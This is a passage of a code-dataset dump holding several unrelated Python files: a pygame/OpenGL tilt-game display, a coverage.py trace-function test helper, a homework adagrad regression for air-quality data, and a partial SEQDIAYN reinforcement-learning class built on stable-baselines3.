self.load_data(self.Product.select_item(self.ui.le_code.text()))\n\n\n\n","sub_path":"03_Application_Coffee(Pyqt_MySQL)/01_application_coffee_aworkerJI/ui/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"592041630","text":"#!/usr/bin/python\n\nimport pygame\nimport urllib\nimport sys\nimport threading\nimport numpy as np\nimport json\nimport webclient\nfrom client import getGame, resetGame\nfrom Game import *\nfrom Angles import *\nfrom User import *\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom math import radians\nfrom pygame.locals import *\nfrom constants import *\n\n##################################################################################\n## Graphical display / game code\n##################################################################################\n\n# This helps my tiny brain\nGRID_MINX = -2\nGRID_MAXX = 2\nGRID_MINY = -1\nGRID_MAXY = 1\nGRID_MINZ = -1\nGRID_MAXZ = 1\nCOLOR_WHITE = (1.0, 1.0, 1.0)\nCOLOR_BLACK = (.0, .0, .0)\nCOLOR_BLUE = (.5, .5, .7)\nTEXTORIGIN_ANGLE = (0,GRID_MINY - 0.52,GRID_MAXZ)\nTEXT_NOGAME = [\"Hit n to start\", \"new game\"]\nTEXTORIGIN_GAMENAME1 = (GRID_MINX,GRID_MINY - 0.36,GRID_MAXZ)\nTEXTORIGIN_GAMENAME2 = (GRID_MINX,GRID_MINY - 0.56,GRID_MAXZ)\nTEXTORIGIN_GAMESCORE = (GRID_MAXX - 0.5,GRID_MINY - 0.36,GRID_MAXZ)\nTEXTORIGIN_GAMETIME = (GRID_MAXX - 0.5,GRID_MINY - 0.56,GRID_MAXZ)\nTEXTORIGIN_INPUTS = (0, 0.1, GRID_MAXZ/2)\nTEXTOFFSET_INPUTS = (0, -0.3, 0)\nLOGOORIGIN = (0,GRID_MAXY,GRID_MAXZ)\nTEXT_SPACEWAITING = \"\"\nGUELOGO_PATH = \"img/gue-logo.bmp\"\n\ndebug = True\n\ndef resize(width, height):\n glViewport(0, 0, width, height)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluPerspective(45.0, float(width) / height, 0.001, 10.0)\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n gluLookAt(0.0, 0.0, 5.0,\n 0.0, 0.0, 0.0,\n 0.0, 1.0, 0.0)\n\ndef init():\n glEnable(GL_DEPTH_TEST)\n glClearColor(0.0, 0.0, 0.0, 0.0)\n glShadeModel(GL_SMOOTH)\n glEnable(GL_BLEND)\n glEnable(GL_POLYGON_SMOOTH)\n glHint(GL_POLYGON_SMOOTH_HINT, GL_NICEST)\n glEnable(GL_COLOR_MATERIAL)\n glEnable(GL_LIGHTING)\n glEnable(GL_LIGHT0)\n glLightfv(GL_LIGHT0, GL_AMBIENT, (0.3, 0.3, 0.3, 1.0));\n\ndef getScreenCoords(position):\n model = glGetDoublev(GL_MODELVIEW_MATRIX)\n proj = glGetDoublev(GL_PROJECTION_MATRIX)\n view = glGetIntegerv(GL_VIEWPORT)\n return gluProject(position[0], position[1], position[2], model, proj, view)\n\ndef drawText(position, textString, size, centered = True, rightaligned = False, color = RGBA_BLACK, background = RGBA_WHITE): \n font = pygame.font.Font (None, size)\n textSurface = font.render(textString, True, color, background) \n textData = pygame.image.tostring(textSurface, \"RGBA\", True)\n # Size is in window coordinates, so work in that system \n screenpos = getScreenCoords(position)\n if centered:\n textpos = (screenpos[0] - (textSurface.get_width()/2), screenpos[1], screenpos[2])\n else: \n if rightaligned:\n textpos = (screenpos[0] - (textSurface.get_width()), screenpos[1], screenpos[2])\n else:\n textpos = (screenpos[0], screenpos[1], screenpos[2])\n glEnable(GL_BLEND)\n glWindowPos3d(*textpos) \n glDrawPixels(textSurface.get_width(), textSurface.get_height(), GL_RGBA, GL_UNSIGNED_BYTE, textData)\n\ndef drawLogo(position, centered = True):\n img = pygame.image.load(GUELOGO_PATH)\n img.convert()\n imgData = pygame.image.tostring(img, \"RGBA\", True)\n # Size is in window coordinates, so work in that system \n screenpos = getScreenCoords(position)\n if centered:\n imgpos = (screenpos[0] - (img.get_width()/2), screenpos[1], screenpos[2])\n else:\n imgpos = (screenpos[0], screenpos[1], screenpos[2])\n glWindowPos3d(*imgpos) \n glDrawPixels(img.get_width(), img.get_height(), GL_RGBA, GL_UNSIGNED_BYTE, imgData)\n\ndef exit():\n pygame.quit()\n sys.exit(0)\n\ndef getText(origin, titleText):\n inputting = True\n inputValue = \"\"\n while inputting:\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n drawText(origin, titleText, 32)\n drawText(np.add(origin,TEXTOFFSET_INPUTS), inputValue, 32)\n pygame.display.flip()\n\n then = pygame.time.get_ticks()\n for event in pygame.event.get():\n if event.type == KEYDOWN and event.key == K_RETURN:\n inputting = False\n return inputValue\n if event.type == KEYDOWN and event.key == K_ESCAPE:\n inputting = False\n return \"\"\n if event.type == KEYDOWN and event.key == K_BACKSPACE:\n inputValue = inputValue[:-1]\n break\n if event.type == KEYDOWN:\n inputValue = inputValue + event.unicode\n\ndef newGame():\n if debug:\n print(\"New game\")\n resetGame(getGame().gameName)\n email = getText(TEXTORIGIN_INPUTS, \"Please type your email address\")\n print(email)\n if email == \"\":\n return\n user = findUser(email=email)\n if not user:\n # User doesn't exist\n userName = getText(TEXTORIGIN_INPUTS, \"Please type your name\")\n print(userName)\n if userName == \"\":\n return\n user = User(userName, email)\n user.save()\n getGame().setUser(user)\n else:\n getGame().setUser(user)\n\n getGame().state = GAME_WAITING\n\ndef run(gameName):\n pygame.init()\n DISPLAY_FLAGS = HWSURFACE | OPENGL | DOUBLEBUF\n SCREEN_SIZE = [0,0]\n info = pygame.display.Info()\n if debug:\n print(\"Screen width %d, Height %d\" % (info.current_w, info.current_h))\n# if info.current_w <= 800:\n DISPLAY_FLAGS = DISPLAY_FLAGS | FULLSCREEN | NOFRAME\n# else:\n# SCREEN_SIZE = [800, 600]\n screen = pygame.display.set_mode( SCREEN_SIZE, DISPLAY_FLAGS )\n# newsize = (min(info.current_w, 800), min(info.current_h,600))\n newsize = (info.current_w, info.current_h)\n resize(*newsize)\n init()\n clock = pygame.time.Clock()\n backdrop = Backdrop(COLOR_BLACK)\n cube = Cube((0.0, 0.0, 0.0), COLOR_BLUE)\n\n angles = Angles(SERVER_URL)\n angles.start()\n\n getGame().setGameName(gameName)\n\n while True:\n then = pygame.time.get_ticks()\n for event in pygame.event.get():\n if event.type == QUIT:\n exit()\n if event.type == KEYDOWN and (event.key == K_ESCAPE or event.key == K_q):\n # Escape and Q either quit the current game or the app\n if getGame().state == GAME_NONE:\n exit()\n else:\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n drawText(TEXTORIGIN_INPUTS, \"Are you sure you want to finish game? Y/N\", 32)\n pygame.display.flip()\n angles.pause()\n while angles.isPaused():\n then2 = pygame.time.get_ticks()\n for event2 in pygame.event.get():\n if event2.type == KEYDOWN and (event2.key == K_y):\n getGame().score = 0.0\n getGame().state = GAME_NONE\n angles.unpause()\n if event2.type == KEYDOWN and (event2.key == K_n):\n angles.unpause()\n if event.type == KEYDOWN and event.key == K_n:\n angles.pause()\n newGame()\n angles.unpause()\n if event.type == KEYDOWN and event.key == K_c:\n angles.calibrate()\n if getGame().state == GAME_RUNNING and event.type == KEYDOWN and event.key == K_SPACE:\n angles.pause()\n # Space ends the current game and records the score\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n origin = TEXTORIGIN_INPUTS\n drawText(origin, \"Congratulations {}!\".format(getGame().user.userName), 32)\n origin = np.add(origin, TEXTOFFSET_INPUTS)\n drawText(origin, \"Your final score was {:10.1f}\".format(getGame().score), 32)\n origin = np.add(origin, TEXTOFFSET_INPUTS)\n drawText(origin, \"Press space to continue\", 32)\n pygame.display.flip()\n getGame().save()\n while angles.isPaused():\n then2 = pygame.time.get_ticks()\n for event2 in pygame.event.get():\n if event2.type == KEYDOWN and (event2.key == K_SPACE):\n getGame().score = 0.0\n getGame().state = GAME_NONE\n angles.unpause()\n if getGame().state == GAME_WAITING and event.type == KEYDOWN and event.key == K_SPACE:\n angles.pause()\n getGame().score = 0.0\n getGame().state = GAME_RUNNING\n angles.setStartTime()\n angles.unpause()\n\n glClearColor(1.0, 1.0, 1.0, 1.0)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n backdrop.render()\n glPushMatrix()\n glRotate(angles.getY(), 0, 0, -1)\n cube.render()\n glPopMatrix()\n drawLogo(LOGOORIGIN)\n if getGame().state != GAME_WAITING:\n# if debug:\n# print(\"getY %.2f Y %.2f calibrate_y %.2f\" % (angles.getY(), angles.y, angles.calibrate_y))\n# print(\"getTilt %.2f Tilt %.2f calibrate_tilt %.2f\" % (angles.getTilt(), angles.tilt, angles.calibrate_tilt))\n drawText(TEXTORIGIN_ANGLE, \"%.2f (%.2f)\" % (angles.getTilt(), abs(angles.tilt)) + u'\\N{DEGREE SIGN}', 64, color = angles.getColor())\n if getGame().state != GAME_NONE:\n if getGame().state == GAME_WAITING:\n drawText(TEXTORIGIN_GAMENAME1, TEXT_SPACEWAITING, 32, False)\n else:\n drawText(TEXTORIGIN_GAMENAME1, getGame().user.userName, 32, False)\n drawText(TEXTORIGIN_GAMENAME2, getGame().user.initials, 32, False)\n drawText(TEXTORIGIN_GAMESCORE, \"Score: {:10.1f}\".format(getGame().score), 32, rightaligned = True)\n drawText(TEXTORIGIN_GAMETIME, \"Time: {:10.1f}\".format(getGame().duration), 32, rightaligned = True)\n else:\n drawText(TEXTORIGIN_GAMENAME1, TEXT_NOGAME[0], 32, False)\n drawText(TEXTORIGIN_GAMENAME2, TEXT_NOGAME[1], 32, False)\n\n pygame.display.flip()\n\nclass Backdrop(object):\n def __init__(self, color):\n self.color = color\n\n def render(self):\n then = pygame.time.get_ticks()\n glColor(self.color)\n\n glLineWidth(1)\n glBegin(GL_LINES)\n\n for x in range(-20, 22, 2):\n glVertex3f(x/10.,-1,1)\n glVertex3f(x/10.,-1,-1)\n \n for x in range(-20, 22, 2):\n glVertex3f(x/10.,-1, -1)\n glVertex3f(x/10., 1, -1)\n \n for z in range(-10, 12, 2):\n glVertex3f(-2, -1, z/10.)\n glVertex3f( 2, -1, z/10.)\n\n for z in range(-10, 12, 2):\n glVertex3f(-2, -1, z/10.)\n glVertex3f(-2, 1, z/10.)\n\n for z in range(-10, 12, 2):\n glVertex3f( 2, -1, z/10.)\n glVertex3f( 2, 1, z/10.)\n\n for y in range(-10, 12, 2):\n glVertex3f(-2, y/10., -1)\n glVertex3f( 2, y/10., -1)\n \n for y in range(-10, 12, 2):\n glVertex3f(-2, y/10., -1)\n glVertex3f(-2, y/10., 1)\n \n for y in range(-10, 12, 2):\n glVertex3f(2, y/10., -1)\n glVertex3f(2, y/10., 1)\n \n glEnd()\n\nclass Cube(object):\n\n def __init__(self, position, color):\n self.position = position\n self.color = color\n\n # Cube information\n num_faces = 6\n\n vertices = [ (-1.0, -0.05, 0.5),\n (1.0, -0.05, 0.5),\n (1.0, 0.05, 0.5),\n (-1.0, 0.05, 0.5),\n (-1.0, -0.05, -0.5),\n (1.0, -0.05, -0.5),\n (1.0, 0.05, -0.5),\n (-1.0, 0.05, -0.5) ]\n\n normals = [ (0.0, 0.0, +1.0), # front\n (0.0, 0.0, -1.0), # back\n (+1.0, 0.0, 0.0), # right\n (-1.0, 0.0, 0.0), # left\n (0.0, +1.0, 0.0), # top\n (0.0, -1.0, 0.0) ] # bottom\n\n vertex_indices = [ (0, 1, 2, 3), # front\n (4, 5, 6, 7), # back\n (1, 5, 6, 2), # right\n (0, 4, 7, 3), # left\n (3, 2, 6, 7), # top\n (0, 1, 5, 4) ] # bottom\n\n def render(self):\n then = pygame.time.get_ticks()\n glColor(self.color)\n\n vertices = self.vertices\n\n # Draw all 6 faces of the cube\n glBegin(GL_QUADS)\n\n for face_no in xrange(self.num_faces):\n glNormal3dv(self.normals[face_no])\n v1, v2, v3, v4 = self.vertex_indices[face_no]\n glVertex(vertices[v1])\n glVertex(vertices[v2])\n glVertex(vertices[v3])\n glVertex(vertices[v4])\n glEnd()\n\n","sub_path":"client/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":12947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"306077656","text":"# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0\n# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt\n\n# Show the current frame's trace function, so that we can test what the\n# command-line options do to the trace function used.\n\nimport sys\n\n# Show what the trace function is. If a C-based function is used, then f_trace\n# may be None.\ntrace_fn = sys._getframe(0).f_trace\nif trace_fn is None:\n trace_name = \"None\"\nelse:\n # Get the name of the tracer class. Py3k has a different way to get it.\n try:\n trace_name = trace_fn.im_class.__name__\n except AttributeError:\n try:\n trace_name = trace_fn.__self__.__class__.__name__\n except AttributeError:\n # A C-based function could also manifest as an f_trace value\n # which doesn't have im_class or __self__.\n trace_name = trace_fn.__class__.__name__\n\nprint(\"%s %s\" % (sys.argv[1], trace_name))\n","sub_path":"tests/farm/run/src/showtrace.py","file_name":"showtrace.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"457421210","text":"import numpy as np\nimport csv\nimport sys\n\ndef load_data(file_name):\n file = open(file_name, 'r', encoding='big5')\n train_data = csv.reader(file, delimiter = ',')\n data = [[] for i in range(18)] # 記錄18種觀測數據\n n_row = 0\n \n for row in train_data:\n if n_row != 0:\n for i in range(3, 27, 1): # 第 3 ~ 26 欄是24小時的資料\n if row[i] != 'NR':\n data[(n_row-1)%18].append(float(row[i]))\n else:\n data[(n_row-1)%18].append(float(0))\n n_row += 1\n\n file.close()\n \n # preprocessing data\n i = 0\n while i < 12*20*24:\n if data[9][i] < 0:\n idx = i\n while data[9][idx] < 0:\n idx += 1\n diff = idx - i + 1\n for j in range(i, idx, 1):\n data[9][j] = data[9][j-1] + (data[9][idx] - data[9][i-1]) / diff\n i = idx + 1\n else:\n i += 1\n \n x = []\n y = []\n \n for i in range(12):\n for j in range(471):\n x.append([])\n for k in range(18):\n for s in range(9):\n x[471*i+j].append(data[k][480*i+j+s])\n y.append(data[9][480*i+j+9])\n \n x = np.array(x)\n y = np.array(y)\n \n return x, y\n\ndef adagrad(x, y):\n x = np.concatenate((np.ones((x.shape[0], 1)), x), axis = 1)\n x_t = x.transpose()\n \n w = np.zeros(x.shape[1])\n iteration = 100000\n lr = 1\n lamda = 0.00\n pre_gra = np.zeros(x.shape[1])\n \n for i in range(1, iteration+1, 1):\n _y = np.dot(x, w)\n loss = _y - y + lamda * np.sum(w**2)\n cost = np.sqrt(np.sum(loss**2) / len(x))\n gra = 2 * np.dot(x_t, loss) + 2 * lamda * w\n pre_gra += gra**2\n ada = np.sqrt(pre_gra)\n w -= lr * gra / ada\n \n if i % 10000 == 0:\n print(\"iteration %d: cost = %f\" % (i, cost))\n \n return w\n\ndef load_file(input_file):\n file = open(input_file, 'r', encoding='big5')\n test_data = csv.reader(file, delimiter = ',')\n x_test = []\n n_row = 0\n \n for row in test_data:\n if n_row % 18 == 0:\n x_test.append([])\n if n_row % 18 == 9:\n for i in range(2, 11, 1):\n if float(row[i]) < 0:\n if i == 2:\n x_test[n_row//18].append(float(row[i+1]))\n elif i == 10:\n x_test[n_row//18].append(float(row[i-1]))\n else:\n x_test[n_row//18].append((float(row[i-1]) + float(row[i+1])) / 2)\n else:\n x_test[n_row//18].append(float(row[i]))\n else:\n for i in range(2, 11, 1):\n if row[i] != 'NR':\n x_test[n_row//18].append(float(row[i]))\n else:\n x_test[n_row//18].append(float(0))\n n_row += 1\n \n x_test = np.array(x_test)\n \n return x_test\n\ndef predict(x_test):\n w = np.load('model_best.npy')\n x_test = np.concatenate((np.ones((x_test.shape[0], 1)), x_test), axis = 1)\n y_test = np.dot(x_test, w)\n \n for i in range(len(y_test)):\n if y_test[i] < 0:\n y_test[i] = 0\n \n return y_test\n\ndef output(y_test, output_file):\n file = open(output_file, 'w+')\n out_file = csv.writer(file, delimiter = ',', lineterminator = '\\n')\n out_file.writerow(['id', 'value'])\n for i in range(len(y_test)):\n out_file.writerow(['id_'+str(i), y_test[i]])\n file.close()\n\n\nif __name__ == '__main__':\n# x, y = load_data('./data/train.csv')\n# w = adagrad(x, y)\n# np.save('model_best.npy', w)\n \n input_file = sys.argv[1]\n output_file = sys.argv[2]\n \n x_test = load_file(input_file)\n y_test = predict(x_test)\n output(y_test, output_file)\n ","sub_path":"hw1/hw1_best.py","file_name":"hw1_best.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"635153606","text":"from typing import Any, Dict, List, Optional, Tuple, Type, Union\nimport time\nfrom types import FunctionType as function\nimport gym\nimport sys\nimport numpy as np\nfrom numpy.core.fromnumeric import mean\nimport torch as th\nfrom collections import deque\nfrom torch.nn import functional as F\nimport pathlib\nimport io\nfrom scipy.special import expit as sigm\nfrom stable_baselines3.common.save_util import (\n load_from_zip_file,\n recursive_getattr,\n recursive_setattr,\n save_to_zip_file,\n)\n\nfrom stable_baselines3.common.noise import ActionNoise\nfrom stable_baselines3.common.off_policy_algorithm import OffPolicyAlgorithm\nfrom stable_baselines3.common.type_aliases import (\n GymEnv,\n MaybeCallback,\n RolloutReturnZ,\n Schedule,\n TrainFreq,\n TrainFrequencyUnit,\n)\nfrom stable_baselines3.common.utils import (\n safe_mean,\n should_collect_more_steps,\n polyak_update,\n check_for_correct_spaces,\n)\nfrom stable_baselines3.common.base_class import BaseAlgorithm\nfrom stable_baselines3.diayn import disc\nfrom stable_baselines3.diayn.policies import DIAYNPolicy\nfrom stable_baselines3.diayn.diayn import DIAYN\nfrom stable_baselines3.common.vec_env import VecEnv\nfrom stable_baselines3.common.callbacks import BaseCallback\nfrom stable_baselines3.common.buffers import ReplayBufferZ, ReplayBufferZExternalDisc\nfrom stable_baselines3.common.exp_utils import DiscriminatorFunction\nfrom stable_baselines3.diayn.disc import Discriminator\nfrom stable_baselines3.common.utils import get_linear_fn\n\nclass SEQDIAYN(DIAYN):\n \"\"\"\n Diversity is All You Need\n Built on top of SAC\n\n :param policy: The policy model to use (MlpPolicy, CnnPolicy, ...)\n :param env: The environment to learn from (if registered in Gym, can be str)\n :param prior: The prior distribution for the skills p(z), usually uniform categorical\n :param learning_rate: learning rate for adam optimizer,\n the same learning rate will be used for all networks (Q-Values, Actor and Value function)\n it can be a function of the current progress remaining (from 1 to 0)\n :param buffer_size: size of the replay buffer\n :param learning_starts: how many steps of the model to collect transitions for before learning starts\n :param batch_size: Minibatch size for each gradient update\n :param tau: the soft update coefficient (\"Polyak update\", between 0 and 1)\n :param gamma: the discount factor\n :param train_freq: Update the model every ``train_freq`` steps. Alternatively pass a tuple of frequency and unit\n like ``(5, \"step\")`` or ``(2, \"episode\")``.\n :param gradient_steps: How many gradient steps to do after each rollout (see ``train_freq``)\n Set to ``-1`` means to do as many gradient steps as steps done in the environment\n during the rollout.\n :param action_noise: the action noise type (None by default), this can help\n for hard exploration problem. Cf common.noise for the different action noise type.\n :param optimize_memory_usage: Enable a memory efficient variant of the replay buffer\n at a cost of more complexity.\n See https://github.com/DLR-RM/stable-baselines3/issues/37#issuecomment-637501195\n :param ent_coef: Entropy regularization coefficient. (Equivalent to\n inverse of reward scale in the original SAC paper.) Controlling exploration/exploitation trade-off.\n Set it to 'auto' to learn it automatically (and 'auto_0.1' for using 0.1 as initial value)\n :param target_update_interval: update the target network every ``target_network_update_freq``\n gradient steps.\n :param target_entropy: target entropy when learning ``ent_coef`` (``ent_coef = 'auto'``)\n :param use_sde: Whether to use generalized State Dependent Exploration (gSDE)\n instead of action noise exploration (default: False)\n :param sde_sample_freq: Sample a new noise matrix every n steps when using gSDE\n Default: -1 (only sample at the beginning of the rollout)\n :param use_sde_at_warmup: Whether to use gSDE instead of uniform sampling\n during the warm up phase (before learning starts)\n :param create_eval_env: Whether to create a second environment that will be\n used for evaluating the agent periodically. (Only available when passing string for the environment)\n :param policy_kwargs: additional arguments to be passed to the policy on creation\n :param verbose: the verbosity level: 0 no output, 1 info, 2 debug\n :param seed: Seed for the pseudo random generators\n :param device: Device (cpu, cuda, ...) on which the code should be run.\n Setting it to auto, the code will be run on the GPU if possible.\n :param _init_setup_model: Whether or not to build the network at the creation of the instance\n :param disc_on: A list of index, or a DiscriminatorFunction or 'all'. It designates which component or\n transformation of the state space you want to pass to the discriminator.\n :param combined_rewards: whether or not you want to learn the task AND learn skills, by default this is\n False in DIAYN (unsupervised method).\n :param beta: balance parameter between the true and the diayn reward, beta = 0 means only the true reward\n is considered while beta = 1 means it's only the diversity reward. Only active when combined_rewards\n is set to True. beta = \"auto\" is incompatible with smerl.\n :param smerl: if not None, it sets the target value for SMERL algorithm, see https://arxiv.org/pdf/2010.14484.pdf\n :param eps: if smerl is not None, it sets the margin of the reward where under esp*smerl, DIAYN reward is\n set to 0.\n :param beta_temp: only if beta='auto', sets the temperature parameter of the sigmoid for beta computation.\n :patam beta_momentum: only if beta='auto', sets the momentum parameter for beta auto update.\n \"\"\"\n\n def __init__(\n self,\n policy: Union[str, Type[DIAYNPolicy]],\n env: Union[GymEnv, str],\n prior: th.distributions,\n learning_rate: Union[float, Schedule] = 3e-4,\n buffer_size: int = 1000000,\n learning_starts: int = 100,\n batch_size: int = 256,\n tau: float = 0.005,\n gamma: float = 0.99,\n train_freq: Union[int, Tuple[int, str]] = 1,\n gradient_steps: int = 1,\n action_noise: Optional[ActionNoise] = None,\n optimize_memory_usage: bool = True,\n ent_coef: Union[str, float] = \"auto\",\n target_update_interval: int = 1,\n target_entropy: Union[str, float] = \"auto\",\n use_sde: bool = False,\n sde_sample_freq: int = -1,\n use_sde_at_warmup: bool = False,\n tensorboard_log: Optional[str] = None,\n create_eval_env: bool = False,\n policy_kwargs: Dict[str, Any] = None,\n verbose: int = 0,\n seed: Optional[int] = None,\n device: Union[th.device, str] = \"auto\",\n _init_setup_model: bool = True,\n disc_on: Union[list, str, DiscriminatorFunction] = \"all\",\n discriminator_kwargs: dict = {},\n external_disc_shape: np.ndarray = None,\n combined_rewards: bool = False,\n beta: float = 0.01,\n smerl: int = None,\n eps: float = 0.05,\n beta_temp: float = 20.0,\n beta_momentum: float = 0.8,\n beta_smooth: bool = False,\n extra_disc_buffer: bool = True,\n extra_disc_buffer_size: int = int(1e4)\n ):\n print(learning_rate)\n\n super(SEQDIAYN, self).__init__(\n policy,\n env,\n prior,\n learning_rate=learning_rate,\n buffer_size=buffer_size,\n learning_starts=learning_starts,\n batch_size=batch_size,\n tau=tau,\n gamma=gamma,\n train_freq=train_freq,\n gradient_steps=gradient_steps,\n action_noise=action_noise,\n optimize_memory_usage=optimize_memory_usage,\n ent_coef=ent_coef,\n target_update_interval=target_update_interval,\n target_entropy=target_entropy,\n use_sde=use_sde,\n sde_sample_freq=sde_sample_freq,\n use_sde_at_warmup=use_sde_at_warmup,\n tensorboard_log=tensorboard_log,\n create_eval_env=create_eval_env,\n policy_kwargs=policy_kwargs,\n verbose=verbose,\n seed=seed,\n device=device,\n _init_setup_model=_init_setup_model,\n disc_on=disc_on,\n discriminator_kwargs=discriminator_kwargs,\n external_disc_shape=external_disc_shape,\n combined_rewards=combined_rewards,\n beta=beta,\n smerl=smerl,\n eps=eps,\n beta_temp=beta_temp,\n beta_momentum=beta_momentum,\n beta_smooth=beta_smooth,\n extra_disc_buffer=extra_disc_buffer,\n extra_disc_buffer_size=extra_disc_buffer_size,\n\n )\n\n\n\n def _setup_model(self) -> None:\n super(SEQDIAYN, self)._setup_model()\n \n out_size = 2\n self.discriminators = [Discriminator(\n self.disc_obs_shape, out_size, device=self.device, **self.discriminator_kwargs\n ) for i in range(self.n_skills)]\n \n \n\n def train(self, gradient_steps: int, batch_size: int = 64) -> None:\n # Update optimizers learning rate\n optimizers = [self.actor.optimizer, self.critic.optimizer]\n if self.ent_coef_optimizer is not None:\n optimizers += [self.ent_coef_optimizer]\n\n # Update learning rate according to lr schedule\n self._update_learning_rate(optimizers)\n\n ent_coef_losses, ent_coefs = deque(maxlen=1000),deque(maxlen=1000)\n actor_losses, critic_losses, disc_losses = deque(maxlen=1000),deque(maxlen=1000),deque(maxlen=1000)\n\n for gradient_step in range(gradient_steps):\n # Sample replay buffer\n replay_data = self.replay_buffer.sample(\n batch_size, env=self._vec_normalize_env\n )\n\n \n # We need to sample because `log_std` may have changed between two gradient steps\n if self.use_sde:\n self.actor.reset_noise()\n\n # Action by the current actor for the sampled state\n # We concatenate state with current one hot encoded skill\n obs = th.cat([replay_data.observations, replay_data.zs], dim=1)\n #print(\"Zs :\",replay_data.zs)\n actions_pi, log_prob = self.actor.action_log_prob(obs)\n log_prob = log_prob.reshape(-1, 1)\n\n ent_coef_loss = None\n if self.ent_coef_optimizer is not None:\n # Important: detach the variable from the graph\n # so we don't change it with other losses\n # see https://github.com/rail-berkeley/softlearning/issues/60\n ent_coef = th.exp(self.log_ent_coef.detach())\n ent_coef_loss = -(\n self.log_ent_coef * (log_prob + self.target_entropy).detach()\n ).mean()\n ent_coef_losses.append(ent_coef_loss.item())\n else:\n ent_coef = self.ent_coef_tensor\n\n ent_coefs.append(ent_coef.item())\n\n # Optimize entropy coefficient, also called\n # entropy temperature or alpha in the paper\n if ent_coef_loss is not None:\n self.ent_coef_optimizer.zero_grad()\n ent_coef_loss.backward()\n self.ent_coef_optimizer.step()\n\n with th.no_grad():\n # Select action according to policy\n # We concatenate next state with current one hot encoded skill\n new_obs = th.cat([replay_data.next_observations, replay_data.zs], dim=1)\n next_actions, next_log_prob = self.actor.action_log_prob(new_obs)\n # Compute the next Q values: min over all critics targets\n next_q_values = th.cat(self.critic_target(new_obs, next_actions), dim=1)\n next_q_values, _ = th.min(next_q_values, dim=1, keepdim=True)\n # add entropy term\n next_q_values = next_q_values - ent_coef * next_log_prob.reshape(-1, 1)\n # td error + entropy term\n target_q_values = (\n replay_data.rewards\n + (1 - replay_data.dones) * self.gamma * next_q_values\n )\n\n # Get current Q-values estimates for each critic network\n # using action from the replay buffer\n\n current_q_values = self.critic(obs, replay_data.actions)\n\n # Compute critic loss\n critic_loss = 0.5 * sum(\n [\n F.mse_loss(current_q, target_q_values)\n for current_q in current_q_values\n ]\n )\n critic_losses.append(critic_loss.item())\n\n # Optimize the critic\n self.critic.optimizer.zero_grad()\n critic_loss.backward()\n self.critic.optimizer.step()\n\n # Compute actor loss\n # Alternative: actor_loss = th.mean(log_prob - qf1_pi)\n # Mean over all critic networks\n q_values_pi = th.cat(self.critic.forward(obs, actions_pi), dim=1)\n min_qf_pi, _ = th.min(q_values_pi, dim=1, keepdim=True)\n actor_loss = (ent_coef * log_prob - min_qf_pi).mean()\n actor_losses.append(actor_loss.item())\n\n # Optimize the actor\n self.actor.optimizer.zero_grad()\n actor_loss.backward()\n self.actor.optimizer.step()\n\n # Update target networks\n if gradient_step % self.target_update_interval == 0:\n polyak_update(\n self.critic.parameters(), self.critic_target.parameters(), self.tau\n )\n\n\n if not self.extra_disc_buffer:\n replay_data_disc = replay_data\n\n else: \n replay_data_disc = self.disc_buffer.sample(\n batch_size, env=self._vec_normalize_env\n )\n\n if self.external_disc_shape:\n disc_obs = replay_data_disc.disc_obs\n \n\n else:\n # Get or compute vector to pass to the discriminator\n if isinstance(self.disc_on, DiscriminatorFunction):\n disc_obs = self.disc_on(replay_data_disc.observations)\n else:\n disc_obs = replay_data_disc.observations[:, self.disc_on]\n \n cur_disc = self.discriminators[self.training_skill]\n log_q_phi = cur_disc(disc_obs.to(self.device)).to(self.device)\n z = replay_data_disc.zs.to(self.device)\n c = (z.argmax(dim=1)==self.training_skill) * 1\n\n discriminator_loss = th.nn.NLLLoss()(log_q_phi, c)\n disc_losses.append(discriminator_loss.item())\n cur_disc.optimizer.zero_grad()\n discriminator_loss.backward()\n cur_disc.optimizer.step()\n\n self._n_updates += gradient_steps\n\n self.logger.record(\"train/n_updates\", self._n_updates, exclude=\"tensorboard\")\n self.logger.record(\"train/ent_coef\", np.mean(ent_coefs))\n self.logger.record(\"train/actor_loss\", np.mean(actor_losses))\n self.logger.record(\"train/critic_loss\", np.mean(critic_losses))\n self.logger.record(\"train/discriminator_loss\", np.mean(disc_losses))\n self.disc_loss = np.mean(disc_losses)\n if len(ent_coef_losses) > 0:\n self.logger.record(\"train/ent_coef_loss\", np.mean(ent_coef_losses))\n\n def learn(\n self,\n total_timesteps: int,\n callback: MaybeCallback = None,\n log_interval: int = 4,\n eval_env: Optional[GymEnv] = None,\n eval_freq: int = -1,\n n_eval_episodes: int = 5,\n tb_log_name: str = \"run\",\n eval_log_path: Optional[str] = None,\n reset_num_timesteps: bool = True,\n ) -> \"OffPolicyAlgorithm\":\n\n total_timesteps, callback = self._setup_learn(\n total_timesteps,\n eval_env,\n callback,\n eval_freq,\n n_eval_episodes,\n eval_log_path,\n reset_num_timesteps,\n tb_log_name,\n )\n\n callback.on_training_start(locals(), globals())\n self.training_skill = 0\n self.learning_starts_0 = self.learning_starts\n while self.num_timesteps < total_timesteps and self.training_skill < self.n_skills:\n \n\n\n\n # sample skill z according to prior before generating episode\n probs = th.ones(self.training_skill+1)/(self.training_skill+1)\n probs = th.nn.functional.pad(probs, [0,self.n_skills-self.training_skill-1])\n prior = th.distributions.OneHotCategorical(probs)\n z = prior.sample().to(self.device)\n\n rollout = self.collect_rollouts(\n self.env,\n train_freq=self.train_freq,\n action_noise=self.action_noise,\n callback=callback,\n learning_starts=self.learning_starts,\n 